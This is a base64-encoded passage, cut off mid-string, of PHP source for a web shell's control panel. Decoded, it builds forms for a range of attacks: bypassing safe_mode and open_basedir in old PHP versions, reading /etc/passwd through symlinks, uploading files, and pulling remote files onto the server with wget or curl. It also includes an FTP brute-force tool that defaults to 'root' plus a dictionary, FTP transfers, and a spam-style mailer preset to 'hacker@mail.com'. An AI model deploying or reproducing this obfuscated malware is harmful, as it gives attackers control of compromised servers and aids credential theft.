Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rl c3QxNV9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNV9maWxlMSddKT8oJF9QT1NUWyd0 ZXN0MTVfZmlsZTEnXSk6KCI8PyBwaHBpbmZvKCk7ID8+IikpKS53cyg0KS5pbignc3VibWl0Jywn c3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7DQplY2hvICR0ZS4nPC9kaXY+ Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYm QHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuNCIpPD0wKQ0Kew0KZWNobyAkZnMu JHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOSddLCdpZDE2Jyku JHRhYmxlX3VwMi5kaXYoJ2lkMTYnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQ2NSddLiIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwv Yj4iLGluKCd0ZXh0JywndGVzdDE2X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTZfZmls ZSddKT8oJF9QT1NUWyd0ZXN0MTZfZmlsZSddKTooJGRpci4iL3Rlc3QucGhwIikpKS5pbignaGlk ZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNicpLndzKDQpLmlu KCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAk dGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9i YXNlZGlyKSAmJkBmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSAmJkB2ZXJzaW9uX2NvbXBhcmUo QHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkNCnsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUo JGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMSddLCdpZDE3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTcn KS4kdHM7DQplY2hvICI8dHI+PHRkIHZhbGlnbj10b3Agd2lkdGg9NzAlPiIuJHRzOw0KZWNobyBz cigyMCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLCRmcy5p bigndGV4dCcsJ3Rlc3QxN19maWxlJyw2MCwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk/ KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2Rp cicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMScpLmluKCdzdWJtaXQnLCdz dWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNiddKS4kZmUpOw0KZWNobyAkdGUuIjwv dGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9MzAlPiIuJHRzOw0KZWNobyBzcigwLCIiLCRmcy5pbign aGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxN18yJykuaW4o J3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKS4kZmUpOw0KZWNo byAkdGUuIjwvdGQ+PC90cj4iOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDE7DQp9DQpp ZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmQGZ1bmN0aW9uX2V4aXN0cygnc3ltbGlu aycpICYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQ0Kew0KZWNo byAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMyJ10sJ2lkMTgn KS4kdGFibGVfdXAyLmRpdignaWQxOCcpLiR0czsNCmVjaG8gIjx0cj48dGQgdmFsaWduPXRvcCB3 aWR0aD03MCU+Ii4kdHM7DQplY2hvIHNyKDIwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0 J10uJGFycm93LiI8L2I+IiwkZnMuaW4oJ3RleHQnLCd0ZXN0MTdfZmlsZScsNjAsKCFlbXB0eSgk X1BPU1RbJ3Rlc3QxN19maWxlJ10pPygkX1BPU1RbJ3Rlc3QxN19maWxlJ10pOigkZGlyKSkpLmlu KCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE3XzEnKS5p bignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzYnXSkuJGZlKTsN CmVjaG8gJHRlLiI8L3RkPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMwJT4iLiR0czsNCmVjaG8gc3Io MCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0 ZXN0MTdfMycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgn XSkuJGZlKTsNCmVjaG8gJHRlLiI8L3RkPjwvdHI+IjsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJs ZV9lbmQxOw0KfQ0KaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8QGluaV9nZXQo J2ZpbGVfdXBsb2FkcycpKXsNCmVjaG8gIjxmb3JtIG5hbWU9dXBsb2FkIG1ldGhvZD1QT1NUIEVO Q1RZUEU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT4iOw0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgk bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NSddLCdpZDMwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMzAnKS4k dHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8 L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMCcsODUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCduZjEg aWQ9bmYxJywwLCcxJykuaW4oJ3RleHQnLCduZXdfbmFtZScsODIsJycpLmluKCdoaWRkZW4nLCdk aXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2Uu J19idXR0MiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigo IUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHxAaW5pX2dldCgnZmlsZV91cGxvYWRzJykp ew0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQv Zm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCdNdWx0eSAnLiRsYW5nWyRs YW5ndWFnZS4nX3RleHQ1J10sJ2lkMzQnKS4kdGFibGVfdXAyLmRpdignaWQzNCcpLiR0czsNCmVj aG8gIjx0cj48dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvIHNyKDE1LCI8Yj4i LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJm aWxlMScsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYn XS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUyJywzNSwnJykpOw0KZWNobyBzcigx NSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUn LCd1c2VyZmlsZTMnLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4n X3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlNCcsMzUsJycpKTsNCmVj aG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGlu KCdmaWxlJywndXNlcmZpbGU1JywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFu Z3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTYnLDM1LCcn KSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8 L2I+IixpbignZmlsZScsJ3VzZXJmaWxlNycsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU4 JywzNSwnJykpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRz Ow0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9i PiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTknLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5n WyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTAn LDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFy cm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTEnLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8 Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3Vz ZXJmaWxlMTInLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3Rl eHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTMnLDM1LCcnKSk7DQplY2hv IHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+Iixpbign ZmlsZScsJ3VzZXJmaWxlMTQnLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTUnLDM1LCcn KSk7DQplY2hvIHNyKDE1LCcnLGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1 Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4i PC90ZD48L3RyPiI7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQokc2Vs ZWN0PScnOw0KaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8KEBpbmlfZ2V0KCdh bGxvd191cmxfZm9wZW4nKSAmJkBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykpKXskc2VsZWN0ID0g IjxvcHRpb24gdmFsdWU9XCJmb3BlblwiPmZvcGVuPC9vcHRpb24+Ijt9DQppZighJHNhZmVfbW9k ZSl7DQppZih3aGljaCgnd2dldCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwid2dldFwi PndnZXQ8L29wdGlvbj4iO30NCmlmKHdoaWNoKCdmZXRjaCcpKXskc2VsZWN0IC49ICI8b3B0aW9u IHZhbHVlPVwiZmV0Y2hcIj5mZXRjaDwvb3B0aW9uPiI7fQ0KaWYod2hpY2goJ2x5bngnKSl7JHNl bGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cImx5bnhcIj5seW54PC9vcHRpb24+Ijt9DQppZih3aGlj aCgnbGlua3MnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cImxpbmtzXCI+bGlua3M8L29w dGlvbj4iO30NCmlmKHdoaWNoKCdjdXJsJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCJj dXJsXCI+Y3VybDwvb3B0aW9uPiI7fQ0KaWYod2hpY2goJ0dFVCcpKXskc2VsZWN0IC49ICI8b3B0 aW9uIHZhbHVlPVwiR0VUXCI+R0VUPC9vcHRpb24+Ijt9DQp9DQppZigkc2VsZWN0KXsNCmVjaG8g JGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNSddLCdpZDMx JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRs YW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1l PVwid2l0aFwiPiIuJHNlbGVjdA0KLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRp cikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE3J10uJGFycm93LiI8L2I+Ii5p bigndGV4dCcsJ3JlbV9maWxlJyw3OCwnaHR0cDovLycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxl JywxMDUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2Uu J19idXR0MiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplY2hv ICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODYnXSwnaWQz MicpLiR0YWJsZV91cDIuZGl2KCdpZDMyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZF9uYW1lJyw4NSwk ZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkb3dubG9hZF9maWxlJykuaW4oJ2hpZGRlbicsJ2Rp cicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4n X2J1dHQxNCddKSk7DQokYXJoID0gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkyJ107DQppZihAZnVu Y3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpIHskYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNz JywwLCd6aXAnKS4nIHppcCc7fQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSkgICB7 JGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnZ3ppcCcpLicgZ3ppcCc7fQ0KaWYoQGZ1 bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKSB7JGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVz cycsMCwnYnppcCcpLicgYnppcCc7fQ0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2Uu J190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywx KS4nICcuJGFyaCk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZihAZnVu Y3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUo JGxhbmdbJGxhbmd1YWdlLidfdGV4dDkzJ10sJ2lkMzMnKS4kdGFibGVfdXAyLmRpdignaWQzMycp LiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8 Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4k bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTQnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigy NSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0 JywnZnRwX3NlcnZlcl9wb3J0JywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10p PygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkuaW4oJ2hpZGRl bicsJ2NtZCcsMCwnZnRwX2JydXRlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hv IHNyKDI1LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwncGFzc3dkJywxKS4iPGZvbnQg ZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTknXS4iICggPGEg aHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnM+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOw0KZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdy ZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnLDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7 DQplY2hvIHNyKDI1LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwnZGljJywwKS4kbGFu Z1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10pOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3Vh Z2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2xvZ2luJywwLCghZW1w dHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigicm9vdCIpKSkp Ow0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10uJGFycm93LiI8 L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnknLDAsKCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnkn XSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRpci4nL3Bhc3N3LmRpYycpKSkpOw0KZWNobyBz cigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10p KTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIu JHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50 ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg3J10uIjwvZGl2PjwvYj48L2ZvbnQ+ IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8 L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9z ZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEi KSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93 LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dp biddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsNCmVjaG8gc3IoMjUs IjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcs J2Z0cF9wYXNzd29yZCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NU WydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1 LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQn LCdmdHBfZmlsZScsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9maWxlJ10pPygkX1BPU1RbJ2Z0cF9m aWxlJ10pOigiL2Z0cC1kaXIvZmlsZSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2ZpbGVf ZG93bicpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFy cm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJywyMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8 Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFt ZT1mdHBfbW9kZT48b3B0aW9uPkZUUF9CSU5BUlk8L29wdGlvbj48b3B0aW9uPkZUUF9BU0NJSTwv b3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1 LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE0J10pKTsN CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRz Ow0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIg aWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMCddLiI8L2Rpdj48L2I+PC9mb250PiI7 DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9i PiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfc2Vy dmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikp KSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4i PC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4n XSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8 Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdm dHBfcGFzc3dvcmQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsn ZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwi PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywn bG9jX2ZpbGUnLDIwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJywyMCwoIWVtcHR5KCRf UE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikp KS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV91cCcpKTsNCmVjaG8gc3IoMjUsIjxiPiIu JGxhbmdbJGxhbmd1YWdlLidfdGV4dDkwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPWZ0 cF9tb2RlPjxvcHRpb24+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24+RlRQX0FTQ0lJPC9vcHRp b24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIs aW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hv ICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZihAZnVuY3Rpb25f ZXhpc3RzKCJtYWlsIikpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3Vh Z2UuJ190ZXh0MTAyJ10sJ2lkMzUnKS4kdGFibGVfdXAyLmRpdignaWQzNScpLiR0cy4iPHRyPiIu JGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZl cmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3Vh Z2UuJ190ZXh0MTAzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAs KCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikp KS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7 DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwv Yj4iLGluKCd0ZXh0JywnZnJvbScsMzAsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsn ZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJywz MCwoIWVtcHR5KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiaGVsbG8gYmlsbHki KSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJv dy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0yMiByb3dzPTI+Jy4oIWVtcHR5KCRf UE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4 dGFyZWE+Jyk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxh bmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGln bj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+ PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNCdd LiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4n X3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8nLDMwLCghZW1wdHkoJF9QT1NU Wyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNvbSIpKSkuaW4oJ2hpZGRlbics 